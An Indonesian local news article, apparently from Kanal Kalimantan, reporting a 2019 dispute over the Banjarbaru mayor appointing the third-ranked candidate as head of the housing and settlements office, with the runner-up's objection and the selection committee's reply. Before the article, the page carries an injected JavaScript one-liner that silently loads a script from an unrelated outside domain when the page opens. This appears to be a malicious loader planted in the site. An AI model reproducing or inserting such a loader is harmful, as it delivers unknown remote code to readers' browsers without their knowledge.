(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pelantikan sejumlah pejabat baru di lingkup Pemko Banjarbaru oleh Walikota Nadjmi Adhani dipertanyakan kandidat yang tidak terpilih. Irwan Jaya, salah satu peserta seleksi terbuka jabatan tinggi pratama untuk Kepala Dinas Perumahan dan Permukiman (Disperkim) Kota Banjarbaru memprotes dipilihnya Muriyani.
Meskipun, Irwan yang saat ini menjabat Kabid Pengendalian Pencemaran DLH di Kabupaten Banjar menerima keputusan tersebut. “Saya tetap menerima dan menghargai keputusan itu,” ujarnya, Rabu, (22/5).
Irwan menceritakan, ada tiga nama calon yang memperebutkan posisi jabatan Kadis Perkim Banjarbaru melalui hasil akhir dari lelang jabatan. Yakni Zabidi Anshari, Irwan Jaya, dan Muriyani. Ketiganya telah melalui proses lelang jabatan di Dinas Perumahan dan Permukiman Kota Banjarbaru yang merupakan seleksi terbuka Jabatan Tinggi Pratama pada akhir tahun 2018 lalu.
Dari ketiga peserta tersebut, terpilihlah Zabidi Anshari untuk menjabat sebagai Kadis Perkim Banjarbaru oleh Walikota Banjarbaru. Namun, lantaran Kadis Perkim Banjarbaru Zabidi Anshari mendapati masalah di kesehatannya, dirinya dinonaktifkan sebagai Kepala dinas dan beberapa waktu jabatan Kadis Perkim diisi pelaksana tugas (plt).
Lalu secara mengejutkan, Pemko Banjarbaru melantik Muriyani sebagai Kadis Perkim yang baru pada awal Mei 2019 tadi. Padahal dari pengakuan Irwan Jaya, saat seleksi terbuka Jabatan Tinggi Pratama Disperkim Banjarbaru, dirinya berada diurutan kedua. Sedangkan, Muriyani yang bekas Sekertaris Dinas PUPR Banjarbaru tersebut, berada di urutan ketiga.
“Pada bulan Desember lalu, Bapak Zabidi Anshari dilantik dan itu memang benar adanya. Karena dia berada diperingkat pertama,” katanya.
Irwan mengakui persoalan ini menjadi pelik, lantaran mengacu pada UU ASN Nomor 5 tahun 2014, ditambah Peraturan Pemerintah Nomor Nomor 11 tahun 2017, tentang manajemen ASN serta rujukan Permenpan no 13 tahun 2017 tentang tata cara pengisian jabatan tinggi Pratama terdapat istilah Merit Point System.
“Di situ tertera, usai urutan pertama berhalangan untuk bekerja (dalam hal ini sebagai Kadis Perkim Banjarbaru), maka urutan kedua lah yang direkomendasikan menjadi Pejabat Tinggi Pratama,” lanjutnya.
Namun, dalam hal ini justru urutan ketiga yang menjadi Kepala Dinas Perkim Banjarbaru, yakni Muriyani. Irwan menjelaskan, Walikota Nadjmi pernah mengatakan bahwa penilaian seleksi persentasenya berdasarkan merit point yang mana 90 persen nilai berada pada Kompetensi Bidang dan Kompetensi Manajerial dan penilaian Walikota dan Wakil Walikota hanya 10 persen, dari nilai total bobot 100.
“Jika mengacu dari hal tersebut, kenapa justru urutan ketiga yang saat ini dilantik menjadi Kadis Perkim. Usai urutan pertama berhalangan, mengapa bukan malah urutan kedua yang seharusnya dilantik,” pungkasnya.
Ketua Panitia Seleksi (Pansel) seleksi terbuka Jabatan Tinggi Pratama H Said Abdullah menegaskan bahwa ada tiga calon dari hasil pansel seleksi terbuka Jabatan Tinggi Pratama Disperkim Banjarbaru. “Urusan siapa yang dipilih dari tiga orang hasil dari pansel itu sepenuhnya kewenangan Walikota. Itu ada aturannya, tetapi sebelumnya ada rekomendasi dari Komisi ASN,” kata pria yang juga menjabat sebagai Sekda ini.
Hasil tiga nama dari seleksi pansel diserahkan ke Komisi ASN dan selanjutnya komisi ASN melihat bagaimana prosesnya itu dan selanjutnya mengeluarkan surat rekomendasi persetujuan dan mempersilahkan memilih satu nama dari tiga nama hasil dari pansel.
Komisi ASN juga tidak ada campur tangan untuk menentukan satu nama. Tiga nama hasil seleksi terbuka Jabatan Tinggi Pratama Disperkim Banjarbaru bukan berdasarkan rangking. “Jadi Walikota punya hak untuk menentukan satu nama. Surat rekomendasi dari komisi ASN isinya silahkan pilih satu dari tiga nama. Bukan urutan nomornya,” tegasnya.
Demikian juga dengan pelantikan Muriani sebagai Kadis Perkim yang baru dilantik awal Mei tadi. Pansel juga menyodorkan dua nama ke Komisi ASN dan dari Komisi ASN juga meminta memilih satu nama dari dua nama yang diserahkan, bukan berdasarkan rangking. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.